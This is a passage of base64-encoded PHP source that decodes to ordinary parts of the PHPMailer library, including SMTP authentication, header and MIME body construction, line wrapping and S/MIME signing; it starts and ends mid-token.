iAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmICgkdGxzKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPnNtdHAtPnN0YXJ0VExTKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2Nvbm5lY3RfaG9zdCcpKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAvLyBXZSBtdXN0IHJlc2VuZCBFSExPIGFmdGVyIFRMUyBuZWdvdGlhdGlvbgogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+c210cC0+aGVsbG8oJGhlbGxvKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5TTVRQQXV0aCkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5zbXRwLT5hdXRoZW50aWNhdGUoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+VXNlcm5hbWUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+UGFzc3dvcmQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+QXV0aFR5cGUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+UmVhbG0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+V29ya3N0YXRpb24KICAgICAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2F1dGhlbnRpY2F0ZScpKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgIH0gY2F0Y2ggKHBocG1haWxlckV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICAgICAgICAgJGxhc3RleGNlcHRpb24gPSAkZXhjOwogICAgICAgICAgICAgICAgICAgICR0aGl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ogQHJldHVybiBhcnJheQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0VHJhbnNsYXRpb25zKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmxhbmd1YWdlOwogICAgfQoKICAgIC8qKgogICAgICogQ3JlYXRlIHJlY2lwaWVudCBoZWFkZXJzLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUKICAgICAqIEBwYXJhbSBhcnJheSAkYWRkciBBbiBhcnJheSBvZiByZWNpcGllbnQsCiAgICAgKiB3aGVyZSBlYWNoIHJlY2lwaWVudCBpcyBhIDItZWxlbWVudCBpbmRleGVkIGFycmF5IHdpdGggZWxlbWVudCAwIGNvbnRhaW5pbmcgYW4gYWRkcmVzcwogICAgICogYW5kIGVsZW1lbnQgMSBjb250YWluaW5nIGEgbmFtZSwgbGlrZToKICAgICAqIGFycmF5KGFycmF5KCdqb2VAZXhhbXBsZS5jb20nLCAnSm9lIFVzZXInKSwgYXJyYXkoJ3pvZUBleGFtcGxlLmNvbScsICdab2UgVXNlcicpKQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZHJBcHBlbmQoJHR5cGUsICRhZGRyKQogICAgewogICAgICAgICRhZGRyZXNzZXMgPSBhcnJheSgpOwogICAgICAgIGZvcmVhY2ggKCRhZGRyIGFzICRhZGRyZXNzKSB7CiAgICAgICAgICAgICRhZGRyZXNzZXNbXSA9ICR0aGlzLT5hZGRyRm9ybWF0KCRhZGRyZXNzKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICR0eXBlIC4gJzogJyAuIGltcGxvZGUoJywgJywgJGFkZHJlc3NlcykgLiAkdGhpcy0+TEU7CiAgICB9CgogICAgLyoqCiAgICAgKiBGb3JtYXQgYW4gYWRkcmVzcyBmb3IgdXNlIGluIGEgbWVzc2FnZSBoZWFkZXIuCiAgICAgKiBAYWNjZXNzIHB1Ymx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lcyA9IGV4cGxvZGUoJHRoaXMtPkxFLCAkbWVzc2FnZSk7CiAgICAgICAgLy9NZXNzYWdlIHdpbGwgYmUgcmVidWlsdCBpbiBoZXJlCiAgICAgICAgJG1lc3NhZ2UgPSAnJzsKICAgICAgICBmb3JlYWNoICgkbGluZXMgYXMgJGxpbmUpIHsKICAgICAgICAgICAgJHdvcmRzID0gZXhwbG9kZSgnICcsICRsaW5lKTsKICAgICAgICAgICAgJGJ1ZiA9ICcnOwogICAgICAgICAgICAkZmlyc3R3b3JkID0gdHJ1ZTsKICAgICAgICAgICAgZm9yZWFjaCAoJHdvcmRzIGFzICR3b3JkKSB7CiAgICAgICAgICAgICAgICBpZiAoJHFwX21vZGUgYW5kIChzdHJsZW4oJHdvcmQpID4gJGxlbmd0aCkpIHsKICAgICAgICAgICAgICAgICAgICAkc3BhY2VfbGVmdCA9ICRsZW5ndGggLSBzdHJsZW4oJGJ1ZikgLSAkY3JsZmxlbjsKICAgICAgICAgICAgICAgICAgICBpZiAoISRmaXJzdHdvcmQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRzcGFjZV9sZWZ0ID4gMjApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gPSAkc3BhY2VfbGVmdDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaXNfdXRmOCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gPSAkdGhpcy0+dXRmOENoYXJCb3VuZGFyeSgkd29yZCwgJGxlbik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoc3Vic3RyKCR3b3JkLCAkbGVuIC0gMSwgMSkgPT0gJz0nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbi0tOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKHN1YnN0cigkd29yZCwgJGxlbiAtIDIsIDEpID09ICc9JykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gLT0gMjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYXJ0ID0gc3Vic3RyKCR3b3JkLCAwLCAkbGVuKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3b3JkID0gc3Vic3RyKCR3b3JkLCAkbGVuKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRidWYgLj0gJyAnIC4gJHBhcnQ7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSAuPSAkYnVmIC4gc3ByaW50ZignPSVzJywgc2VsZjo6Q1JMRik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSAuPSAkYnVmIC4gJHNvZnRfYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGJ1ZiA9ICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB3aGlsZSAoc3RybGVuKCR3b3JkKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRsZW5ndGggPD0gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGxlbiA9ICRsZW5ndGg7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaXNfdXRmOCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbiA9ICR0aGlzLT51dGY4Q2hhckJvdW5kYXJ5KCR3b3JkLCAkbGVuKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKHN1YnN0cigkd29yZCwgJGxlbiAtIDEsIDEpID09ICc9JykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbi0tOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoc3Vic3RyKCR3b3JkLCAkbGVuIC0gMiwgMSkgPT0gJz0nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGVuIC09IDI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhcnQgPSBzdWJzdHIoJHdvcmQsIDAsICRsZW4pOwogICAgICAgICAgICAgICAgICAgICAgICAkd29yZCA9IHN1YnN0cigkd29yZCwgJGxlbik7CgogICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCR3b3JkKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlIC49ICRwYXJ0IC4gc3ByaW50ZignPSVzJywgc2VsZjo6Q1JMRik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYnVmID0gJHBhcnQ7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRidWZfbyA9ICRidWY7CiAgICAgICAgICAgICAgICAgICAgaWYgKCEkZmlyc3R3b3JkKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRidWYgLj0gJyAnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkYnVmIC49ICR3b3JkOwoKICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRidWYpID4gJGxlbmd0aCBhbmQgJGJ1Zl9vICE9ICcnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlIC49ICRidWZfbyAuICRzb2Z0X2JyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAkYnVmID0gJHdvcmQ7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGZpcnN0d29yZCA9IGZhbHNlOwogICAgICAgICAgIC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J5dGUgd2l0aGluICRsb29rQmFjayBibG9jay4KICAgICAgICAgICAgICAgIC8vIENoZWNrIHRoZSBlbmNvZGVkIGJ5dGUgdmFsdWUgKHRoZSAyIGNoYXJzIGFmdGVyIHRoZSAnPScpCiAgICAgICAgICAgICAgICAkaGV4ID0gc3Vic3RyKCRlbmNvZGVkVGV4dCwgJG1heExlbmd0aCAtICRsb29rQmFjayArICRlbmNvZGVkQ2hhclBvcyArIDEsIDIpOwogICAgICAgICAgICAgICAgJGRlYyA9IGhleGRlYygkaGV4KTsKICAgICAgICAgICAgICAgIGlmICgkZGVjIDwgMTI4KSB7CiAgICAgICAgICAgICAgICAgICAgLy8gU2luZ2xlIGJ5dGUgY2hhcmFjdGVyLgogICAgICAgICAgICAgICAgICAgIC8vIElmIHRoZSBlbmNvZGVkIGNoYXIgd2FzIGZvdW5kIGF0IHBvcyAwLCBpdCB3aWxsIGZpdAogICAgICAgICAgICAgICAgICAgIC8vIG90aGVyd2lzZSByZWR1Y2UgbWF4TGVuZ3RoIHRvIHN0YXJ0IG9mIHRoZSBlbmNvZGVkIGNoYXIKICAgICAgICAgICAgICAgICAgICBpZiAoJGVuY29kZWRDaGFyUG9zID4gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAkbWF4TGVuZ3RoID0gJG1heExlbmd0aCAtICgkbG9va0JhY2sgLSAkZW5jb2RlZENoYXJQb3MpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkZm91bmRTcGxpdFBvcyA9IHRydWU7CiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGRlYyA+PSAxOTIpIHsKICAgICAgICAgICAgICAgICAgICAvLyBGaXJzdCBieXRlIG9mIGEgbXVsdGkgYnl0ZSBjaGFyYWN0ZXIKICAgICAgICAgICAgICAgICAgICAvLyBSZWR1Y2UgbWF4TGVuZ3RoIHRvIHNwbGl0IGF0IHN0YXJ0IG9mIGNoYXJhY3RlcgogICAgICAgICAgICAgICAgICAgICRtYXhMZW5ndGggPSAkbWF4TGVuZ3RoIC0gKCRsb29rQmFjayAtICRlbmNvZGVkQ2hhclBvcyk7CiAgICAgICAgICAgICAgICAgICAgJGZvdW5kU3BsaXRQb3MgPSB0cnVlOwogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRkZWMgPCAxOTIpIHsKICAgICAgICAgICAgICAgICAgICAvLyBNaWRkbGUgYnl0ZSBvZiBhIG11bHRpIGJ5dGUgY2hhcmFjdGVyLCBsb29rIGZ1cnRoZXIgYmFjawogICAgICAgICAgICAgICAgICAgICRsb29rQmFjayArPSAzOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgLy8gTm8gZW5jb2RlZCBjaGFyYWN0ZXIgZm91bmQKICAgICAgICAgICAgICAgICRmb3VuZFNwbGl0UG9zID0gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJG1heExlbmd0aDsKICAgIH0KCiAgICAvKioKICAgICAqIEFwcGx5IHdvcmQgd3JhcHBpbmcgdG8gdGhlIG1lc3NhZ2UgYm9keS4KICAgICAqIFdyYXBzIHRoZSBtZXNzYWdlIGJvZHkgdG8gdGhlIG51bWJlciBvZiBjaGFycyBzZXQgaW4gdGhlIFdvcmRXcmFwIHByb3BlcnR5LgogICAgICogWW91IHNob3VsZCBvbmx5IGRvIHRoaXMgdG8gcGxhaW4tdGV4dCBib2RpZXMgYXMgd3JhcHBpbmcgSFRNTCB0YWdzIG1heSBicmVhayB0aGVtLgogICAgICogVGhpcyBpcyBjYWxsZWQgYXV0b21hdGljYWxseSBieSBjcmVhdGVCb2R5KCksIHNvIHlvdSBkb24ndCBuZWVkIHRvIGNhbGwgaXQgeW91cnNlbGYuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzZXRXb3JkV3JhcCgpCiAgICB7CiAgICAgICA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ICAgICBpZiAoJHRoaXMtPk1haWxlciAhPSAnbWFpbCcpIHsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR0aGlzLT50byBhcyAkdG9hZGRyKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlNpbmdsZVRvQXJyYXlbXSA9ICR0aGlzLT5hZGRyRm9ybWF0KCR0b2FkZHIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKGNvdW50KCR0aGlzLT50bykgPiAwKSB7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPk1haWxlciAhPSAnbWFpbCcpIHsKICAgICAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdUbycsICR0aGlzLT50byk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZWlmIChjb3VudCgkdGhpcy0+Y2MpID09IDApIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1RvJywgJ3VuZGlzY2xvc2VkLXJlY2lwaWVudHM6OycpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdGcm9tJywgYXJyYXkoYXJyYXkodHJpbSgkdGhpcy0+RnJvbSksICR0aGlzLT5Gcm9tTmFtZSkpKTsKCiAgICAgICAgLy8gc2VuZG1haWwgYW5kIG1haWwoKSBleHRyYWN0IENjIGZyb20gdGhlIGhlYWRlciBiZWZvcmUgc2VuZGluZwogICAgICAgIGlmIChjb3VudCgkdGhpcy0+Y2MpID4gMCkgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdDYycsICR0aGlzLT5jYyk7CiAgICAgICAgfQoKICAgICAgICAvLyBzZW5kbWFpbCBhbmQgbWFpbCgpIGV4dHJhY3QgQmNjIGZyb20gdGh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ICAgICAkdGhpcy0+bGFzdE1lc3NhZ2VJRCA9ICR0aGlzLT5NZXNzYWdlSUQ7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHRoaXMtPmxhc3RNZXNzYWdlSUQgPSBzcHJpbnRmKCc8JXNAJXM+JywgJHRoaXMtPnVuaXF1ZWlkLCAkdGhpcy0+c2VydmVySG9zdG5hbWUoKSk7CiAgICAgICAgfQogICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ01lc3NhZ2UtSUQnLCAkdGhpcy0+bGFzdE1lc3NhZ2VJRCk7CiAgICAgICAgaWYgKCFpc19udWxsKCR0aGlzLT5Qcmlvcml0eSkpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgnWC1Qcmlvcml0eScsICR0aGlzLT5Qcmlvcml0eSk7CiAgICAgICAgfQogICAgICAgIGlmICgkdGhpcy0+WE1haWxlciA9PSAnJykgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKAogICAgICAgICAgICAgICAgJ1gtTWFpbGVyJywKICAgICAgICAgICAgICAgICdQSFBNYWlsZXIgJyAuICR0aGlzLT5WZXJzaW9uIC4gJyAoaHR0cHM6Ly9naXRodWIuY29tL1BIUE1haWxlci9QSFBNYWlsZXIpJwogICAgICAgICAgICApOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRteVhtYWlsZXIgPSB0cmltKCR0aGlzLT5YTWFpbGVyKTsKICAgICAgICAgICAgaWYgKCRteVhtYWlsZXIpIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1gtTWFpbGVyJywgJG15WG1haWxlcik7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGlmICgkdGhpcy0+Q29uZmlybVJlYWRpbmdUbyAhPSAnJykgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZW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Wx0aXBhcnQvcmVsYXRlZDsnKTsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPnRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsxXSAuICciJyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnYXR0YWNoJzoKICAgICAgICAgICAgY2FzZSAnaW5saW5lX2F0dGFjaCc6CiAgICAgICAgICAgIGNhc2UgJ2FsdF9hdHRhY2gnOgogICAgICAgICAgICBjYXNlICdhbHRfaW5saW5lX2F0dGFjaCc6CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L21peGVkOycpOwogICAgICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzFdIC4gJyInKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdhbHQnOgogICAgICAgICAgICBjYXNlICdhbHRfaW5saW5lJzoKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvYWx0ZXJuYXRpdmU7Jyk7CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT50ZXh0TGluZSgiXHRib3VuZGFyeT1cIiIgLiAkdGhpcy0+Ym91bmRhcnlbMV0gLiAnIicpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICAvLyBDYXRjaGVzIGNhc2UgJ3BsYWluJzogYW5kIGNhc2UgJyc6CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT50ZXh0TGluZSgnQ29udGVudC1UeXBlOiAnIC4gJHRo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ib3VuZGFyeVsxXSwgJGJvZHlDaGFyU2V0LCAnJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2lubGluZV9hdHRhY2gnOgogICAgICAgICAgICAgICAgJGJvZHkgLj0gJG1pbWVwcmU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoJy0tJyAuICR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+aGVhZGVyTGluZSgnQ29udGVudC1UeXBlJywgJ211bHRpcGFydC9yZWxhdGVkOycpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsyXSAuICciJyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdLCAkYm9keUNoYXJTZXQsICcnLCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkJvZHksICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJ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0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICRib2R5Q2hhclNldCwgJ3RleHQvaHRtbCcsICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEUgLiAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+YXR0YWNoQWxsKCdpbmxpbmUnLCAkdGhpcy0+Ym91bmRhcnlbMl0pOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuZEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnYWx0X2F0dGFjaCc6CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkbWltZXByZTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgnLS0nIC4gJHRoaXMtPmJvdW5kYXJ5WzFdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L2FsdGVybmF0aXZlOycpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsyXSAuICciJyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdLCAkYW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AuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2lubGluZScsICR0aGlzLT5ib3VuZGFyeVszXSk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5kQm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICAvLyBDYXRjaCBjYXNlICdwbGFpbicgYW5kIGNhc2UgJycsIGFwcGxpZXMgdG8gc2ltcGxlIGB0ZXh0L3BsYWluYCBhbmQgYHRleHQvaHRtbGAgYm9keSBjb250ZW50IHR5cGVzCiAgICAgICAgICAgICAgICAvL1Jlc2V0IHRoZSBgRW5jb2RpbmdgIHByb3BlcnR5IGluIGNhc2Ugd2UgY2hhbmdlZCBpdCBmb3IgbGluZSBsZW5ndGggcmVhc29ucwogICAgICAgICAgICAgICAgJHRoaXMtPkVuY29kaW5nID0gJGJvZHlFbmNvZGluZzsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkJvZHksICR0aGlzLT5FbmNvZGluZyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CgogICAgICAgIGlmICgkdGhpcy0+aXNFcnJvcigpKSB7CiAgICAgICAgICAgICRib2R5ID0gJyc7CiAgICAgICAgfSBlbHNlaWYgKCR0aGlzLT5zaWduX2tleV9maWxlKSB7CiAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICBpZiAoIWRlZmluZWQoJ1BLQ1M3X1RFWFQnKSkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4dGVuc2lvbl9taXNzaW5nJykgLiAnb3BlbnNzbCcpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gQFRPRE8gd291bGQgYmUgbmljZSB0byB1c2UgcGhwOi8vdGVtcCBzdHJlYW1zIGhlcmUsIGJ1dCBuZWVkIHRvIHdyYXAgZm9yIFBIUCA8IDUuMQogICAgICAgICAgICAgICAgJGZpbGUgPSB0ZW1wbmFtKHN5c19nZXRfdGVtcF9kaXIoKSwgJ21haWwnKTsKICAgICAgICAgICAgICAgIGlmIChmYWxzZSA9PT0gZmlsZV9wdXRfY29udGVudHMoJGZpbGUsICRib2R5KSkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ3NpZ25pbmcnKSAuICcgQ291bGQgbm90IHdyaXRlIHRlbXAgZmlsZScpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHNpZ25lZCA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCAnc2lnbmVkJyk7CiAgICAgICAgICAgICAgICAvL1dvcmthcm91bmQgZm9yIFBIUCBidWcgaHR0cHM6Ly9idWdzLnBocC5uZXQvYnVnLnBocD9pZD02OTE5NwogICAgICAgICAgICAgICAgaWYgKGVtcHR5KCR0aGlzLT5zaWduX2V4dHJhY2VydHNfZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAkc2lnbiA9IEBvcGVuc3NsX3BrY3M3X3NpZ24oCiAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlLAogICAgICAgICAgICAgICAgICAgICAgICAkc2lnbmVkLAogICAgICAgICAgICAgICAgICAgICAgICAnZmlsZTovLycgLiByZWFscGF0aCgkdGhpcy0+c2lnbl9jZXJ0X2ZpbGUpLAogICAgICAgICAgICAgICAgICAgICAgICBhcnJheSgnZmlsZTovLycgLiByZWFscGF0aCgkdGhpcy0+c2lnbl9rZXlfZmlsZSksICR0aGlzLT5zaWduX2tleV9wYXNzKSwKICAgICAgICAgICAgICAgICAgICAgICAgbnVsbAogICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRzaWduID0gQG9wZW5zc2xfcGtjczdfc2lnbigKICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGUsCiAgICAgICAgICAgICAgICAgICAgICAgICRzaWduZWQsCiAgICAgICAgICAgICAgICAgICAgICAgICdmaWxlOi8vJyAuIHJlYWxwYXRoKCR0aGlzLT5zaWduX2NlcnRfZmlsZSksCiAgICAgICAgICAgICAgICAgICAgICAgIGFycmF5KCdmaWxlOi8vJyAuIHJlYWxwYXRoKCR0aGlzLT5zaWduX2tleV9maWxlKSwgJHRoaXMtPnNpZ